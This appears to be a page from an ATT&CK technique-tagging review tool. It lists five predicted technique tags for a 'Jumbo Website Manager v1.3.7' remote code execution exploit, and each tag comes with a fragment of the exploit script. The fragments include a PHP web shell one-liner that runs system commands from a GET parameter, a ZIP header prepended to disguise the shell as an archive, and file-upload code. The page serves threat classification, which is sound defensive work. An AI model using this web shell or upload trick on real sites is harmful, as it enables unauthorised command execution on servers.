ATT&CK techniques detected
5 predictions
T1190Exploit Public-Facing Application
"= " * 70 ) print ( ) # configuration target = " http : / / localhost " username = " admin " password = " 6f7303f028531527b2da3620ccaf25ee384ae7db " filename = " test123. phar " php _ code = ' <? php echo system ( $ _ get [ " cmd " ] ) ;? > ' # run exploit exploit = jumbocmsexploi…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for
Loading techniques…
T1190Exploit Public-Facing Application
"[ webapps ] jumbo website manager - remote code execution jumbo website manager - remote code execution # exploit title : jumbo website manager - remote code execution # application : jumbo website manager # version : v1. 3. 7 # bugs : rce # technology : php # vendor url : https …"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for
Loading techniques…
T1190Exploit Public-Facing Application
"params, headers = headers, data = content ) if response. status _ code = = 200 : print ( f " [ + ] upload successful! " ) print ( f " [ + ] response : { response. text } " ) return true, response. text else : print ( f " [ - ] upload failed! status : { response. status _ code } "…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for
Loading techniques…
T1036Masquerading
"##k header to disguise as archive file _ content = b ' pk \ x03 \ x04 \ x0a \ x00 \ x00 \ x00 \ x00 \ x00 ' + php _ code. encode ( ) # step 3 : upload success, response = self. upload _ file ( filename, file _ content ) if success : print ( " \ n [ + ] exploit completed successfu…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for
Loading techniques…
T1204.002Malicious File
"params, headers = headers, data = content ) if response. status _ code = = 200 : print ( f " [ + ] upload successful! " ) print ( f " [ + ] response : { response. text } " ) return true, response. text else : print ( f " [ - ] upload failed! status : { response. status _ code } "…"
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for
Loading techniques…
Summary
Jumbo Website Manager - Remote Code Execution